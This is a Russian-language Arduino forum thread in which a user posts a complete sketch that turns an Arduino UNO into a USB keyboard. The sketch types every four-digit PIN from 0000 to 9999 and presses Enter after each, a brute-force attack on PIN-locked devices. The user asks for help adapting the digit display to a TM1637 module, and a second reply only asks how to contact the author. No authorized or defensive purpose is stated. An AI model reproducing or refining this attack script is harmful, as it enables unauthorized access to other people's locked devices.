Arduino UNO - Bruteforce - TM1637

dmitriy.co
Offline
Зарегистрирован: 06.04.2016

Привет Всем.

Помогите пожалуйста. Есть АРДУИНО УНО. Хочу использовать для подбора четырех значных паролей.

Есть скрипт для подбора с статьи https://habrahabr.ru/post/240291/ Но там подключение через 28-сегментный индикатор. У меня же есть TM 1637. Никак не могу вывести данные на индикатор.

Помогите пожалуйста.

СКРИПТ КЛАВИАТУРЫ.

uint8_t buf[8] = { 0 }; // байт с информацией о «нажатой» клавише

void setup() 
{
  Serial.begin(9600); // Устанавливаем скорость соединения
  pinMode(2, OUTPUT); // G
  pinMode(3, OUTPUT); // F
  pinMode(4, OUTPUT); // E
  pinMode(5, OUTPUT); // D
  pinMode(6, OUTPUT); // C
  pinMode(7, OUTPUT); // B
  pinMode(8, OUTPUT); // A
  pinMode(9, OUTPUT); // D4
  pinMode(10, OUTPUT); // D3
  pinMode(11, OUTPUT); // D2
  pinMode(12, OUTPUT); // D1

// Так как модуль сегментных индикаторов имеет общий анод, то для того, чтобы 
// светился сегмент, вывод Arduino должно быть в высокоимпедансном состоянии 
// и наоборот

// Выключаем все сегменты:

  digitalWrite(12, HIGH);
  digitalWrite(11, HIGH);
  digitalWrite(10, HIGH);
  digitalWrite(9, HIGH);
  delay(2000); // Пауза, чтобы «клавиатура» успела определиться в системе
}

void loop() 
{
  int dig1, dig2, dig3, dig4; // Цифры, которые будут последовательно вводиться
  int keys[10] = { 39, 30, 31, 32, 33, 
  34, 35, 36, 37, 38 }; // Массив с ASCII кодами цифер от 0 до 9 соответственно

// Перебор с 0000 до 9999:

  for(dig1=0; dig1<10; dig1++)
  {
    for(dig2=0; dig2<10; dig2++)
    {
      for(dig3=0; dig3<10; dig3++)
      {
        for(dig4=0; dig4<10; dig4++)
        {
          pressKey(keys[dig1]);
          pressKey(keys[dig2]);
          pressKey(keys[dig3]);
          pressKey(keys[dig4]);
          pressKey(40); // Клавиша Enter

// Текущий пароль будет отображаться в течение примерно 15-ти секунд (чуть больше времени задержки ввода)

          for(int i=0; i<1200; i++)
          {
            digLED(12, dig1);
            digLED(11, dig2);
            digLED(10, dig3);
            digLED(9, dig4);
          }
        }
      }
    }
  }
}

void pressKey(int dig) // Функция ввода
{
  buf[2] = dig;
  Serial.write(buf, 8); // Нажать клавишу
  buf[0] = 0;
  buf[2] = 0;
  delay(20);
  Serial.write(buf, 8); // Отпустить клавишу
  delay(300);
}

// Возможно, существуют библиотеки для сегментных индикторов, но мне не захотелось с ними разбираться, 
// поэтому набросал свой алгоритм обхода сегментов индикатора

void digLED(int pin, int dig) // Функция отображения цифер на индикаторе
{
  digitalWrite(pin, LOW);
  switch(dig)
  {
  case 0:
    digitalWrite(8, LOW);
    digitalWrite(7, LOW);
    digitalWrite(6, LOW);
    digitalWrite(5, LOW);
    digitalWrite(4, LOW);
    digitalWrite(3, LOW);
    digitalWrite(2, HIGH);
    break;
  case 1:
    digitalWrite(8, HIGH);
    digitalWrite(7, LOW);
    digitalWrite(6, LOW);
    digitalWrite(5, HIGH);
    digitalWrite(4, HIGH);
    digitalWrite(3, HIGH);
    digitalWrite(2, HIGH);
    break;
  case 2:
    digitalWrite(8, LOW);
    digitalWrite(7, LOW);
    digitalWrite(6, HIGH);
    digitalWrite(5, LOW);
    digitalWrite(4, LOW);
    digitalWrite(3, HIGH);
    digitalWrite(2, LOW);
    break;
  case 3:
    digitalWrite(8, LOW);
    digitalWrite(7, LOW);
    digitalWrite(6, LOW);
    digitalWrite(5, LOW);
    digitalWrite(4, HIGH);
    digitalWrite(3, HIGH);
    digitalWrite(2, LOW);
    break;
  case 4:
    digitalWrite(8, HIGH);
    digitalWrite(7, LOW);
    digitalWrite(6, LOW);
    digitalWrite(5, HIGH);
    digitalWrite(4, HIGH);
    digitalWrite(3, LOW);
    digitalWrite(2, LOW);
    break;
  case 5:
    digitalWrite(8, LOW);
    digitalWrite(7, HIGH);
    digitalWrite(6, LOW);
    digitalWrite(5, LOW);
    digitalWrite(4, HIGH);
    digitalWrite(3, LOW);
    digitalWrite(2, LOW);
    break;
  case 6:
    digitalWrite(8, LOW);
    digitalWrite(7, HIGH);
    digitalWrite(6, LOW);
    digitalWrite(5, LOW);
    digitalWrite(4, LOW);
    digitalWrite(3, LOW);
    digitalWrite(2, LOW);
    break;
  case 7:
    digitalWrite(8, LOW);
    digitalWrite(7, LOW);
    digitalWrite(6, LOW);
    digitalWrite(5, HIGH);
    digitalWrite(4, HIGH);
    digitalWrite(3, HIGH);
    digitalWrite(2, HIGH);
    break;
  case 8:
    digitalWrite(8, LOW);
    digitalWrite(7, LOW);
    digitalWrite(6, LOW);
    digitalWrite(5, LOW);
    digitalWrite(4, LOW);
    digitalWrite(3, LOW);
    digitalWrite(2, LOW);
    break;
  case 9:
    digitalWrite(8, LOW);
    digitalWrite(7, LOW);
    digitalWrite(6, LOW);
    digitalWrite(5, LOW);
    digitalWrite(4, HIGH);
    digitalWrite(3, LOW);
    digitalWrite(2, LOW);
    break;
  }
  delay(3);
  digitalWrite(pin, HIGH);
}

 

vladsv6
Offline
Зарегистрирован: 15.11.2016

Как я могу связаться с автором?

есть несколько вопросов, нужна помощ